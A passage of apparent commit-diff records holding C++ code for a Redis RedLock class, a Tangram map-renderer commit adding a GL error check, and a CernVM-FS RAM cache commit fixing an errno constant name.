redis.call('get', KEYS[1]) == ARGV[1] then return redis.call('del', KEYS[1]) else return 0 end\");\n    m_retryCount = m_defaultRetryCount;\n    m_retryDelay = m_defaultRetryDelay;\n    m_quoRum     = 0;\n    \/\/ open rand file\n    m_fd = open(\"\/dev\/urandom\", O_RDONLY);\n    if (m_fd == -1) {\n        \/\/Open error handling\n        printf(\"Can't open file \/dev\/urandom\\n\");\n        exit(-1);\n        return false;\n    }\n    return true;\n}\n\n\/\/ ----------------\n\/\/ add redis server\n\/\/ ----------------\nbool CRedLock::AddServerUrl(const char *ip, const int port) {\n    redisContext *c;\n    struct timeval timeout = { 1, 500000 }; \/\/ 1.5 seconds\n    c = redisConnectWithTimeout(ip, port, timeout);\n    if (c) {\n        m_redisServer.push_back(c);\n    }\n    m_quoRum = (int)m_redisServer.size() \/ 2 + 1;\n    return true;\n}\n\n\/\/ ----------------\n\/\/ set retry\n\/\/ ----------------\nvoid CRedLock::SetRetry(const int count, const int delay) {\n    m_retryCount = count;\n    m_retryDelay = delay;\n}\n\n\/\/ ----------------\n\/\/ lock the resource\n\/\/ ----------------\nbool CRedLock::Lock(const char *resource, const int ttl, CLock &lock) {\n    sds val = GetUniqueLockId();\n    if (!val) {\n        return false;\n    }\n    lock.m_resource = sdsnew(resource);\n    lock.m_val = val;\n    printf(\"Get the unique id is %s\\n\", val);\n    int retryCount = m_retryCount;\n    do {\n        int n = 0;\n        int startTime = (int)time(NULL) * 1000;\n        int slen = (int)m_redisServer.size();\n        for (int i = 0; i < slen; i++) {\n            if (LockInstance(m_redisServer[i], resource, val, ttl)) {\n                n++;\n            }\n        }\n        \/\/Add 2 milliseconds to the drift to account for Redis expires\n        \/\/precision, which is 1 millisecond, plus 1 millisecond min drift\n        \/\/for small TTLs.\n        int drift = (ttl * m_clockDriftFactor) + 2;\n        int validityTime = ttl - ((int)time(NULL) * 1000 - startTime) - drift;\n        printf(\"The resource validty time is %d, n is %d, quo is %d\\n\",\n               validityTime, n, m_quoRum);\n        if (n >= m_quoRum && validityTime > 0) {\n            lock.m_validityTime = validityTime;\n            return true;\n        } else {\n            Unlock(lock);\n        }\n        \/\/ Wait a random delay before to retry\n        int delay = rand() % m_retryDelay + floor(m_retryDelay \/ 2);\n        usleep(delay * 1000);\n        retryCount--;\n    } while (retryCount > 0);\n    return false;\n}\n\n\/\/ ----------------\n\/\/ release resource\n\/\/ ----------------\nbool CRedLock::ContinueLock(const char *resource, const int ttl, CLock &lock) {\n    sds val = GetUniqueLockId();\n    if (!val) {\n        return false;\n    }\n    lock.m_resource = sdsnew(resource);\n    lock.m_val = val;\n    if (m_continueLock.m_resource == NULL) {\n        m_continueLock.m_resource = sdsnew(resource);\n        m_continueLock.m_val = sdsnew(val);\n    }\n    printf(\"Get the unique id is %s\\n\", val);\n    int retryCount = m_retryCount;\n    do {\n        int n = 0;\n        int startTime = (int)time(NULL) * 1000;\n        int slen = (int)m_redisServer.size();\n        for (int i = 0; i < slen; i++) {\n            if (ContinueLockInstance(m_redisServer[i], resource, val, ttl)) {\n                n++;\n            }\n        }\n        \/\/ update old val\n        sdsfree(m_continueLock.m_val);\n        m_continueLock.m_val = sdsnew(val);\n        \/\/Add 2 milliseconds to the drift to account for Redis expires\n        \/\/precision, which is 1 millisecond, plus 1 millisecond min drift\n        \/\/for small TTLs.\n        int drift = (ttl * m_clockDriftFactor) + 2;\n        int validityTime = ttl - ((int)time(NULL) * 1000 - startTime) - drift;\n        printf(\"The resource validty time is %d, n is %d, quo is %d\\n\",\n               validityTime, n, m_quoRum);\n        if (n >= m_quoRum && validityTime > 0) {\n            lock.m_validityTime = validityTime;\n            return true;\n        } else {\n            Unlock(lock);\n        }\n        \/\/ Wait a random delay before to retry\n        int delay = rand() % m_retryDelay + floor(m_retryDelay \/ 2);\n        usleep(delay * 1000);\n        retryCount--;\n    } while (retryCount > 0);\n    return false;\n}\n\n\/\/ ----------------\n\/\/ lock the resource\n\/\/ ----------------\nbool CRedLock::Unlock(const CLock &lock) {\n    int slen = (int)m_redisServer.size();\n    for (int i = 0; i < slen; i++) {\n        UnlockInstance(m_redisServer[i], lock.m_resource, lock.m_val);\n    }\n    return true;\n}\n\n\/\/ ----------------\n\/\/ lock the resource milliseconds\n\/\/ ----------------\nbool CRedLock::LockInstance(redisContext *c, const char *resource,\n                            const char *val, const int ttl) {\n    redisReply *reply;\n    reply = (redisReply *)redisCommand(c, \"set %s %s px %d nx\",\n                                       resource, val, ttl);\n    if (reply) {\n        printf(\"Set return: %s [null == fail, OK == success]\\n\", reply->str);\n    }\n    if (reply && reply->str && strcmp(reply->str, \"OK\") == 0) {\n        freeReplyObject(reply);\n        return true;\n    }\n    if (reply) {\n        freeReplyObject(reply);\n    }\n    return false;\n}\n\n\/\/ ----------------\n\/\/ 对redismaster续锁, 私有函数\n\/\/ ----------------\nbool CRedLock::ContinueLockInstance(redisContext *c, const char *resource,\n                                    const char *val, const int ttl) {\n    int argc = 7;\n    sds sdsTTL = sdsempty();\n    sdsTTL = sdscatprintf(sdsTTL, \"%d\", ttl);\n    char *continueLockScriptArgv[] = {(char*)\"EVAL\",\n                                      m_continueLockScript,\n                                      (char*)\"1\",\n                                      (char*)resource,\n                                      m_continueLock.m_val,\n                                      (char*)val,\n                                      sdsTTL};\n    redisReply *reply = RedisCommandArgv(c, argc, continueLockScriptArgv);\n    sdsfree(sdsTTL);\n    if (reply) {\n        printf(\"Set return: %s [null == fail, OK == success]\\n\", reply->str);\n    }\n    if (reply && reply->str && strcmp(reply->str, \"OK\") == 0) {\n        freeReplyObject(reply);\n        return true;\n    }\n    if (reply) {\n        freeReplyObject(reply);\n    }\n    return false;\n}\n\n\/\/ ----------------\n\/\/ 对redismaster解锁\n\/\/ ----------------\nvoid CRedLock::UnlockInstance(redisContext *c, const char *resource,\n                              const char *val) {\n    int argc = 5;\n    char *unlockScriptArgv[] = {(char*)\"EVAL\",\n                                m_unlockScript,\n                                (char*)\"1\",\n                                (char*)resource,\n                                (char*)val};\n    redisReply *reply = RedisCommandArgv(c, argc, unlockScriptArgv);\n    if (reply) {\n        freeReplyObject(reply);\n    }\n}\n\n\/\/ ----------------\n\/\/ 对redismaster执行脚本命令\n\/\/ ----------------\nredisReply * CRedLock::RedisCommandArgv(redisContext *c, int argc, char **inargv) {\n    char **argv;\n    argv = convertToSds(argc, inargv);\n    \/* Setup argument length *\/\n    size_t *argvlen;\n    argvlen = (size_t *)malloc(argc * sizeof(size_t));\n    for (int j = 0; j < argc; j++)\n        argvlen[j] = sdslen(argv[j]);\n    redisReply *reply = NULL;\n    reply = (redisReply *)redisCommandArgv(c, argc, (const char **)argv, argvlen);\n    if (reply) {\n        printf(\"RedisCommandArgv return: %lld\\n\", reply->integer);\n    }\n    free(argvlen);\n    sdsfreesplitres(argv, argc);\n    return reply;\n}\n\n\/\/ ----------------\n\/\/ 获取唯一id\n\/\/ ----------------\nsds CRedLock::GetUniqueLockId() {\n    unsigned char buffer[20];\n    if (read(m_fd, buffer, sizeof(buffer)) == sizeof(buffer)) {\n        \/\/获取20byte的随机数据\n        sds s;\n        s = sdsempty();\n        for (int i = 0; i < 20; i++) {\n            s = sdscatprintf(s, \"%02X\", buffer[i]);\n        }\n        return s;\n    } else {\n        \/\/读取失败\n        printf(\"Error: GetUniqueLockId %d\\n\", __LINE__);\n    }\n    return NULL;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"tangram.h\"\n\n#include \"platform.h\"\n#include \"scene\/scene.h\"\n#include \"scene\/sceneLoader.h\"\n#include \"style\/style.h\"\n#include \"text\/fontContext.h\"\n#include \"labels\/labels.h\"\n#include \"tile\/tileManager.h\"\n#include \"tile\/tile.h\"\n#include \"gl\/error.h\"\n#include \"gl\/shaderProgram.h\"\n#include \"scene\/skybox.h\"\n#include \"view\/view.h\"\n#include \"gl\/renderState.h\"\n#include \"gl\/primitives.h\"\n#include \"util\/inputHandler.h\"\n#include <memory>\n#include <cmath>\n#include <bitset>\n\nnamespace Tangram {\n\nstd::unique_ptr<TileManager> m_tileManager;\nstd::shared_ptr<Scene> m_scene;\nstd::shared_ptr<View> m_view;\nstd::unique_ptr<Labels> m_labels;\nstd::shared_ptr<FontContext> m_ftContext;\nstd::unique_ptr<Skybox> m_skybox;\nstd::unique_ptr<InputHandler> m_inputHandler;\n\nstatic float g_time = 0.0;\nstatic std::bitset<8> g_flags = 0;\n\nvoid initialize(const char* _scenePath) {\n\n    logMsg(\"initialize\\n\");\n\n    if (!m_tileManager) {\n\n        \/\/ Create view\n        m_view = std::make_shared<View>();\n\n        \/\/ Create a scene object\n        m_scene = std::make_shared<Scene>();\n\n        \/\/ Input handler\n        m_inputHandler = std::unique_ptr<InputHandler>(new InputHandler(m_view));\n\n        m_skybox = std::unique_ptr<Skybox>(new Skybox(\"cubemap.png\"));\n        m_skybox->init();\n\n        \/\/ Create a tileManager\n        m_tileManager = TileManager::GetInstance();\n\n        \/\/ Pass references to the view and scene into the tile manager\n        m_tileManager->setView(m_view);\n        m_tileManager->setScene(m_scene);\n\n        \/\/ Font and label setup\n        m_ftContext = FontContext::GetInstance();\n        m_ftContext->addFont(\"FiraSans-Medium.ttf\", \"FiraSans\");\n        m_labels = std::unique_ptr<Labels>(new Labels());\n\n        logMsg(\"Loading Tangram scene file: %s\\n\", _scenePath);\n        auto sceneString = stringFromResource(_scenePath);\n\n        SceneLoader loader;\n\n        loader.loadScene(sceneString, *m_scene, *m_tileManager, *m_view);\n\n    }\n\n    logMsg(\"finish initialize\\n\");\n\n}\n\nvoid resize(int _newWidth, int _newHeight) {\n\n    logMsg(\"resize: %d x %d\\n\", _newWidth, _newHeight);\n\n    glViewport(0, 0, _newWidth, _newHeight);\n\n    if (m_view) {\n        m_view->setSize(_newWidth, _newHeight);\n    }\n\n    for (auto& style : m_scene->styles()) {\n        style->viewportHasChanged();\n    }\n\n    Primitives::setResolution(_newWidth, _newHeight);\n\n    while (Error::hadGlError(\"Tangram::resize()\")) {}\n\n}\n\nvoid update(float _dt) {\n\n    g_time += _dt;\n\n    m_inputHandler->update(_dt);\n\n    m_view->update();\n\n    m_tileManager->updateTileSets();\n\n    if (m_view->changedOnLastUpdate() || m_tileManager->hasTileSetChanged() || m_labels->needUpdate()) {\n\n        auto& tiles = m_tileManager->getVisibleTiles();\n\n        for (const auto& tile : tiles) {\n            tile->update(_dt, *m_view);\n        }\n\n        m_labels->update(*m_view, _dt, m_scene->styles(), tiles);\n    }\n\n    if (m_scene) {\n        \/\/ Update lights and styles\n    }\n}\n\nvoid render() {\n\n    \/\/ Set up openGL for new frame\n    glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);\n\n    \/\/ Loop over all styles\n    for (const auto& style : m_scene->styles()) {\n        style->onBeginDrawFrame(*m_view, *m_scene);\n\n        \/\/ Loop over all tiles in m_tileSet\n        for (const auto& tile : m_tileManager->getVisibleTiles()) {\n            tile->draw(*style, *m_view);\n        }\n\n        style->onEndDrawFrame();\n    }\n\n    m_skybox->draw(*m_view);\n\n    m_labels->drawDebug(*m_view);\n\n    while (Error::hadGlError(\"Tangram::render()\")) {}\n}\n\nvoid setPosition(double _lon, double _lat) {\n\n    glm::dvec2 meters = m_view->getMapProjection().LonLatToMeters({ _lon, _lat});\n    m_view->setPosition(meters.x, meters.y);\n    requestRender();\n\n}\n\nvoid getPosition(double& _lon, double& _lat) {\n\n    glm::dvec2 meters(m_view->getPosition().x, m_view->getPosition().y);\n    glm::dvec2 degrees = m_view->getMapProjection().MetersToLonLat(meters);\n    _lon = degrees.x;\n    _lat = degrees.y;\n\n}\n\nvoid setZoom(float _z) {\n\n    m_view->setZoom(_z);\n    requestRender();\n\n}\n\nfloat getZoom() {\n\n    return m_view->getZoom();\n\n}\n\nvoid setRotation(float _radians) {\n\n    m_view->setRoll(_radians);\n    requestRender();\n\n}\n\nfloat getRotation() {\n\n    return m_view->getRoll();\n\n}\n\nvoid setTilt(float _radians) {\n\n    m_view->setPitch(_radians);\n    requestRender();\n\n}\n\nfloat getTilt() {\n\n    return m_view->getPitch();\n\n}\n\nvoid screenToWorldCoordinates(double& _x, double& _y) {\n\n    float screenX = _x, screenY = _y;\n    m_view->screenToGroundPlane(screenX, screenY);\n    glm::dvec2 meters(screenX + m_view->getPosition().x, screenY + m_view->getPosition().y);\n    glm::dvec2 lonLat = m_view->getMapProjection().MetersToLonLat(meters);\n    _x = lonLat.x;\n    _y = lonLat.y;\n\n}\n\nvoid setPixelScale(float _pixelsPerPoint) {\n\n    if (m_view) {\n        m_view->setPixelScale(_pixelsPerPoint);\n    }\n\n    for (auto& style : m_scene->styles()) {\n        style->setPixelScale(_pixelsPerPoint);\n    }\n\n}\n\nvoid handleTapGesture(float _posX, float _posY) {\n\n    m_inputHandler->handleTapGesture(_posX, _posY);\n\n}\n\nvoid handleDoubleTapGesture(float _posX, float _posY) {\n\n    m_inputHandler->handleDoubleTapGesture(_posX, _posY);\n\n}\n\nvoid handlePanGesture(float _startX, float _startY, float _endX, float _endY) {\n\n    m_inputHandler->handlePanGesture(_startX, _startY, _endX, _endY);\n\n}\n\nvoid handlePinchGesture(float _posX, float _posY, float _scale, float _velocity) {\n\n    m_inputHandler->handlePinchGesture(_posX, _posY, _scale, _velocity);\n\n}\n\nvoid handleRotateGesture(float _posX, float _posY, float _radians) {\n\n    m_inputHandler->handleRotateGesture(_posX, _posY, _radians);\n\n}\n\nvoid handleShoveGesture(float _distance) {\n\n    m_inputHandler->handleShoveGesture(_distance);\n\n}\n\nvoid setDebugFlag(DebugFlags _flag, bool _on) {\n\n    g_flags.set(_flag, _on);\n    m_view->setZoom(m_view->getZoom()); \/\/ Force the view to refresh\n\n}\n\nbool getDebugFlag(DebugFlags _flag) {\n\n    return g_flags.test(_flag);\n\n}\n\nvoid toggleDebugFlag(DebugFlags _flag) {\n\n    g_flags.flip(_flag);\n    m_view->setZoom(m_view->getZoom()); \/\/ Force the view to refresh\n\n}\n\nvoid setupGL() {\n\n    logMsg(\"setup GL\\n\");\n\n    if (m_tileManager) {\n        m_tileManager->clearTileSets();\n\n        for (auto& style : m_scene->styles()) {\n           style->notifyGLContextLost();\n        }\n    }\n\n    \/\/ The OpenGL context has been destroyed since the last time resources were created,\n    \/\/ so we invalidate all data that depends on OpenGL object handles.\n\n    \/\/ ShaderPrograms are invalidated and immediately rebuilt\n    ShaderProgram::invalidateAllPrograms();\n\n    \/\/ Buffer objects are invalidated and re-uploaded the next time they are used\n    VboMesh::invalidateAllVBOs();\n\n    \/\/ Texture objects are invalidated and re-uploaded the next time they are updated\n    Texture::invalidateAllTextures();\n\n    \/\/ Reconfigure the render states\n    RenderState::configure();\n\n    Primitives::setColor(0xffffff);\n}\n\n}\n<commit_msg>Add GL error checking to setupGL<commit_after>#include \"tangram.h\"\n\n#include \"platform.h\"\n#include \"scene\/scene.h\"\n#include \"scene\/sceneLoader.h\"\n#include \"style\/style.h\"\n#include \"text\/fontContext.h\"\n#include \"labels\/labels.h\"\n#include \"tile\/tileManager.h\"\n#include \"tile\/tile.h\"\n#include \"gl\/error.h\"\n#include \"gl\/shaderProgram.h\"\n#include \"scene\/skybox.h\"\n#include \"view\/view.h\"\n#include \"gl\/renderState.h\"\n#include \"gl\/primitives.h\"\n#include \"util\/inputHandler.h\"\n#include <memory>\n#include <cmath>\n#include <bitset>\n\nnamespace Tangram {\n\nstd::unique_ptr<TileManager> m_tileManager;\nstd::shared_ptr<Scene> m_scene;\nstd::shared_ptr<View> m_view;\nstd::unique_ptr<Labels> m_labels;\nstd::shared_ptr<FontContext> m_ftContext;\nstd::unique_ptr<Skybox> m_skybox;\nstd::unique_ptr<InputHandler> m_inputHandler;\n\nstatic float g_time = 0.0;\nstatic std::bitset<8> g_flags = 0;\n\nvoid initialize(const char* _scenePath) {\n\n    logMsg(\"initialize\\n\");\n\n    if (!m_tileManager) {\n\n        \/\/ Create view\n        m_view = std::make_shared<View>();\n\n        \/\/ Create a scene object\n        m_scene = std::make_shared<Scene>();\n\n        \/\/ Input handler\n        m_inputHandler = std::unique_ptr<InputHandler>(new InputHandler(m_view));\n\n        m_skybox = std::unique_ptr<Skybox>(new Skybox(\"cubemap.png\"));\n        m_skybox->init();\n\n        \/\/ Create a tileManager\n        m_tileManager = TileManager::GetInstance();\n\n        \/\/ Pass references to the view and scene into the tile manager\n        m_tileManager->setView(m_view);\n        m_tileManager->setScene(m_scene);\n\n        \/\/ Font and label setup\n        m_ftContext = FontContext::GetInstance();\n        m_ftContext->addFont(\"FiraSans-Medium.ttf\", \"FiraSans\");\n        m_labels = std::unique_ptr<Labels>(new Labels());\n\n        logMsg(\"Loading Tangram scene file: %s\\n\", _scenePath);\n        auto sceneString = stringFromResource(_scenePath);\n\n        SceneLoader loader;\n\n        loader.loadScene(sceneString, *m_scene, *m_tileManager, *m_view);\n\n    }\n\n    logMsg(\"finish initialize\\n\");\n\n}\n\nvoid resize(int _newWidth, int _newHeight) {\n\n    logMsg(\"resize: %d x %d\\n\", _newWidth, _newHeight);\n\n    glViewport(0, 0, _newWidth, _newHeight);\n\n    if (m_view) {\n        m_view->setSize(_newWidth, _newHeight);\n    }\n\n    for (auto& style : m_scene->styles()) {\n        style->viewportHasChanged();\n    }\n\n    Primitives::setResolution(_newWidth, _newHeight);\n\n    while (Error::hadGlError(\"Tangram::resize()\")) {}\n\n}\n\nvoid update(float _dt) {\n\n    g_time += _dt;\n\n    m_inputHandler->update(_dt);\n\n    m_view->update();\n\n    m_tileManager->updateTileSets();\n\n    if (m_view->changedOnLastUpdate() || m_tileManager->hasTileSetChanged() || m_labels->needUpdate()) {\n\n        auto& tiles = m_tileManager->getVisibleTiles();\n\n        for (const auto& tile : tiles) {\n            tile->update(_dt, *m_view);\n        }\n\n        m_labels->update(*m_view, _dt, m_scene->styles(), tiles);\n    }\n\n    if (m_scene) {\n        \/\/ Update lights and styles\n    }\n}\n\nvoid render() {\n\n    \/\/ Set up openGL for new frame\n    glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);\n\n    \/\/ Loop over all styles\n    for (const auto& style : m_scene->styles()) {\n        style->onBeginDrawFrame(*m_view, *m_scene);\n\n        \/\/ Loop over all tiles in m_tileSet\n        for (const auto& tile : m_tileManager->getVisibleTiles()) {\n            tile->draw(*style, *m_view);\n        }\n\n        style->onEndDrawFrame();\n    }\n\n    m_skybox->draw(*m_view);\n\n    m_labels->drawDebug(*m_view);\n\n    while (Error::hadGlError(\"Tangram::render()\")) {}\n}\n\nvoid setPosition(double _lon, double _lat) {\n\n    glm::dvec2 meters = m_view->getMapProjection().LonLatToMeters({ _lon, _lat});\n    m_view->setPosition(meters.x, meters.y);\n    requestRender();\n\n}\n\nvoid getPosition(double& _lon, double& _lat) {\n\n    glm::dvec2 meters(m_view->getPosition().x, m_view->getPosition().y);\n    glm::dvec2 degrees = m_view->getMapProjection().MetersToLonLat(meters);\n    _lon = degrees.x;\n    _lat = degrees.y;\n\n}\n\nvoid setZoom(float _z) {\n\n    m_view->setZoom(_z);\n    requestRender();\n\n}\n\nfloat getZoom() {\n\n    return m_view->getZoom();\n\n}\n\nvoid setRotation(float _radians) {\n\n    m_view->setRoll(_radians);\n    requestRender();\n\n}\n\nfloat getRotation() {\n\n    return m_view->getRoll();\n\n}\n\nvoid setTilt(float _radians) {\n\n    m_view->setPitch(_radians);\n    requestRender();\n\n}\n\nfloat getTilt() {\n\n    return m_view->getPitch();\n\n}\n\nvoid screenToWorldCoordinates(double& _x, double& _y) {\n\n    float screenX = _x, screenY = _y;\n    m_view->screenToGroundPlane(screenX, screenY);\n    glm::dvec2 meters(screenX + m_view->getPosition().x, screenY + m_view->getPosition().y);\n    glm::dvec2 lonLat = m_view->getMapProjection().MetersToLonLat(meters);\n    _x = lonLat.x;\n    _y = lonLat.y;\n\n}\n\nvoid setPixelScale(float _pixelsPerPoint) {\n\n    if (m_view) {\n        m_view->setPixelScale(_pixelsPerPoint);\n    }\n\n    for (auto& style : m_scene->styles()) {\n        style->setPixelScale(_pixelsPerPoint);\n    }\n\n}\n\nvoid handleTapGesture(float _posX, float _posY) {\n\n    m_inputHandler->handleTapGesture(_posX, _posY);\n\n}\n\nvoid handleDoubleTapGesture(float _posX, float _posY) {\n\n    m_inputHandler->handleDoubleTapGesture(_posX, _posY);\n\n}\n\nvoid handlePanGesture(float _startX, float _startY, float _endX, float _endY) {\n\n    m_inputHandler->handlePanGesture(_startX, _startY, _endX, _endY);\n\n}\n\nvoid handlePinchGesture(float _posX, float _posY, float _scale, float _velocity) {\n\n    m_inputHandler->handlePinchGesture(_posX, _posY, _scale, _velocity);\n\n}\n\nvoid handleRotateGesture(float _posX, float _posY, float _radians) {\n\n    m_inputHandler->handleRotateGesture(_posX, _posY, _radians);\n\n}\n\nvoid handleShoveGesture(float _distance) {\n\n    m_inputHandler->handleShoveGesture(_distance);\n\n}\n\nvoid setDebugFlag(DebugFlags _flag, bool _on) {\n\n    g_flags.set(_flag, _on);\n    m_view->setZoom(m_view->getZoom()); \/\/ Force the view to refresh\n\n}\n\nbool getDebugFlag(DebugFlags _flag) {\n\n    return g_flags.test(_flag);\n\n}\n\nvoid toggleDebugFlag(DebugFlags _flag) {\n\n    g_flags.flip(_flag);\n    m_view->setZoom(m_view->getZoom()); \/\/ Force the view to refresh\n\n}\n\nvoid setupGL() {\n\n    logMsg(\"setup GL\\n\");\n\n    if (m_tileManager) {\n        m_tileManager->clearTileSets();\n\n        for (auto& style : m_scene->styles()) {\n           style->notifyGLContextLost();\n        }\n    }\n\n    \/\/ The OpenGL context has been destroyed since the last time resources were created,\n    \/\/ so we invalidate all data that depends on OpenGL object handles.\n\n    \/\/ ShaderPrograms are invalidated and immediately rebuilt\n    ShaderProgram::invalidateAllPrograms();\n\n    \/\/ Buffer objects are invalidated and re-uploaded the next time they are used\n    VboMesh::invalidateAllVBOs();\n\n    \/\/ Texture objects are invalidated and re-uploaded the next time they are updated\n    Texture::invalidateAllTextures();\n\n    \/\/ Reconfigure the render states\n    RenderState::configure();\n\n    Primitives::setColor(0xffffff);\n\n    while (Error::hadGlError(\"Tangram::setupGL()\")) {}\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * This file is part of the CernVM File System.\n *\/\n#include \"cvmfs_config.h\"\n#include \"cache_ram.h\"\n\n#include <errno.h>\n\n#include <new>\n\n#include \"smalloc.h\"\n#include \"util\/posix.h\"\n#include \"util_concurrency.h\"\n\nusing namespace std;  \/\/ NOLINT\n\nnamespace cache {\n\n\nint RamCacheManager::AddFd(const ReadOnlyFd &fd) {\n  unsigned i = 0;\n  for ( ; i < open_fds_.size(); ++i) {\n    if (open_fds_[i].handle == -1) {\n      open_fds_[i] = fd;\n      return i;\n    }\n  }\n  open_fds_.push_back(fd);\n  return i;\n}\n\n\nRamCacheManager::RamCacheManager() {\n  int retval = pthread_rwlock_init(&rwlock_, NULL);\n  assert(retval == 0);\n}\n\n\nRamCacheManager::~RamCacheManager() {\n  pthread_rwlock_destroy(&rwlock_);\n}\n\n\nbool RamCacheManager::AcquireQuotaManager(QuotaManager *quota_mgr) {\n  return false;\n}\n\n\nint RamCacheManager::Open(const shash::Any &id) {\n  \/\/ TODO(jblomer): get handle, size from kv store\n  ReadOnlyFd fd(0, 0);\n\n  WriteLockGuard guard(rwlock_);\n  return AddFd(fd);\n}\n\n\nint64_t RamCacheManager::GetSize(int fd) {\n  ReadLockGuard guard(rwlock_);\n  if (!IsValid(fd))\n    return -EBADFD;\n  return open_fds_[fd].size;\n}\n\n\nint RamCacheManager::Close(int fd) {\n  bool sweep_tail = false;\n  {\n    ReadLockGuard guard(rwlock_);\n    if (!IsValid(fd))\n      return -EBADFD;\n    \/\/ TODO(jblomer): KvStore\n    open_fds_[fd].handle = -1;\n    sweep_tail = (static_cast<unsigned>(fd) == (open_fds_.size() - 1));\n  }\n\n  if (sweep_tail) {\n    WriteLockGuard guard(rwlock_);\n    unsigned last_good_idx = open_fds_.size() - 1;\n    while (open_fds_[last_good_idx].handle < 0)\n      last_good_idx--;\n    open_fds_.resize(last_good_idx + 1);\n  }\n\n  return 0;\n}\n\n\nint64_t RamCacheManager::Pread(\n  int fd,\n  void *buf,\n  uint64_t size,\n  uint64_t offset)\n{\n  return -EIO;\n}\n\n\nint RamCacheManager::Dup(int fd) {\n  ReadOnlyFd file_descriptor;\n  {\n    ReadLockGuard guard(rwlock_);\n    if (!IsValid(fd))\n      return -EBADFD;\n    file_descriptor = open_fds_[fd];\n  }\n\n  \/\/ TODO(jblomer): increase link count in kv store\n  WriteLockGuard guard(rwlock_);\n  return AddFd(file_descriptor);\n}\n\n\n\/**\n * For a RAM cache, read-ahead is a no-op.\n *\/\nint RamCacheManager::Readahead(int fd) {\n  ReadLockGuard guard(rwlock_);\n  if (!IsValid(fd))\n    return -EBADFD;\n  return 0;\n}\n\n\nint RamCacheManager::StartTxn(const shash::Any &id, uint64_t size, void *txn) {\n  Transaction *transaction = new (txn) Transaction();\n  transaction->id = id;\n  transaction->pos = 0;\n  transaction->expected_size = size;\n  transaction->size = (size == kSizeUnknown) ? kPageSize : size;\n  if (transaction->size) {\n    transaction->buffer = smmap(transaction->size);\n  }\n  return 0;\n}\n\n\nvoid RamCacheManager::CtrlTxn(\n  const string &description,\n  const ObjectType type,\n  const int flags,\n  void *txn)\n{\n}\n\n\nint64_t RamCacheManager::Write(const void *buf, uint64_t size, void *txn) {\n  return -EIO;\n}\n\n\nint RamCacheManager::Reset(void *txn) {\n  Transaction *transaction = reinterpret_cast<Transaction *>(txn);\n  transaction->pos = 0;\n  return 0;\n}\n\n\nint RamCacheManager::OpenFromTxn(void *txn) {\n  Transaction *transaction = reinterpret_cast<Transaction *>(txn);\n  int64_t handle = CommitToKvStore(transaction);\n  if (handle < 0)\n    return handle;\n  ReadOnlyFd file_descriptor(handle, transaction->pos);\n\n  WriteLockGuard guard(rwlock_);\n  return AddFd(file_descriptor);\n}\n\n\nint RamCacheManager::AbortTxn(void *txn) {\n  Transaction *transaction = reinterpret_cast<Transaction *>(txn);\n  if (transaction->buffer)\n    free(transaction->buffer);\n  return 0;\n}\n\n\nint RamCacheManager::CommitTxn(void *txn) {\n  Transaction *transaction = reinterpret_cast<Transaction *>(txn);\n  int retval = CommitToKvStore(transaction);\n  return retval;\n}\n\n\nint64_t RamCacheManager::CommitToKvStore(Transaction *transaction) {\n  if (transaction->handle >= 0)\n    return transaction->handle;\n\n  \/\/ TODO(jblomer): commit transaction in kv store\n  transaction->handle = 0;\n  if (transaction->buffer) {\n    free(transaction->buffer);\n    transaction->buffer = NULL;\n  }\n  return transaction->handle;\n}\n\n}  \/\/ namespace cache\n<commit_msg>fix errno constant name<commit_after>\/**\n * This file is part of the CernVM File System.\n *\/\n#include \"cvmfs_config.h\"\n#include \"cache_ram.h\"\n\n#include <errno.h>\n\n#include <new>\n\n#include \"smalloc.h\"\n#include \"util\/posix.h\"\n#include \"util_concurrency.h\"\n\nusing namespace std;  \/\/ NOLINT\n\nnamespace cache {\n\n\nint RamCacheManager::AddFd(const ReadOnlyFd &fd) {\n  unsigned i = 0;\n  for ( ; i < open_fds_.size(); ++i) {\n    if (open_fds_[i].handle == -1) {\n      open_fds_[i] = fd;\n      return i;\n    }\n  }\n  open_fds_.push_back(fd);\n  return i;\n}\n\n\nRamCacheManager::RamCacheManager() {\n  int retval = pthread_rwlock_init(&rwlock_, NULL);\n  assert(retval == 0);\n}\n\n\nRamCacheManager::~RamCacheManager() {\n  pthread_rwlock_destroy(&rwlock_);\n}\n\n\nbool RamCacheManager::AcquireQuotaManager(QuotaManager *quota_mgr) {\n  return false;\n}\n\n\nint RamCacheManager::Open(const shash::Any &id) {\n  \/\/ TODO(jblomer): get handle, size from kv store\n  ReadOnlyFd fd(0, 0);\n\n  WriteLockGuard guard(rwlock_);\n  return AddFd(fd);\n}\n\n\nint64_t RamCacheManager::GetSize(int fd) {\n  ReadLockGuard guard(rwlock_);\n  if (!IsValid(fd))\n    return -EBADF;\n  return open_fds_[fd].size;\n}\n\n\nint RamCacheManager::Close(int fd) {\n  bool sweep_tail = false;\n  {\n    ReadLockGuard guard(rwlock_);\n    if (!IsValid(fd))\n      return -EBADF;\n    \/\/ TODO(jblomer): KvStore\n    open_fds_[fd].handle = -1;\n    sweep_tail = (static_cast<unsigned>(fd) == (open_fds_.size() - 1));\n  }\n\n  if (sweep_tail) {\n    WriteLockGuard guard(rwlock_);\n    unsigned last_good_idx = open_fds_.size() - 1;\n    while (open_fds_[last_good_idx].handle < 0)\n      last_good_idx--;\n    open_fds_.resize(last_good_idx + 1);\n  }\n\n  return 0;\n}\n\n\nint64_t RamCacheManager::Pread(\n  int fd,\n  void *buf,\n  uint64_t size,\n  uint64_t offset)\n{\n  return -EIO;\n}\n\n\nint RamCacheManager::Dup(int fd) {\n  ReadOnlyFd file_descriptor;\n  {\n    ReadLockGuard guard(rwlock_);\n    if (!IsValid(fd))\n      return -EBADF;\n    file_descriptor = open_fds_[fd];\n  }\n\n  \/\/ TODO(jblomer): increase link count in kv store\n  WriteLockGuard guard(rwlock_);\n  return AddFd(file_descriptor);\n}\n\n\n\/**\n * For a RAM cache, read-ahead is a no-op.\n *\/\nint RamCacheManager::Readahead(int fd) {\n  ReadLockGuard guard(rwlock_);\n  if (!IsValid(fd))\n    return -EBADF;\n  return 0;\n}\n\n\nint RamCacheManager::StartTxn(const shash::Any &id, uint64_t size, void *txn) {\n  Transaction *transaction = new (txn) Transaction();\n  transaction->id = id;\n  transaction->pos = 0;\n  transaction->expected_size = size;\n  transaction->size = (size == kSizeUnknown) ? kPageSize : size;\n  if (transaction->size) {\n    transaction->buffer = 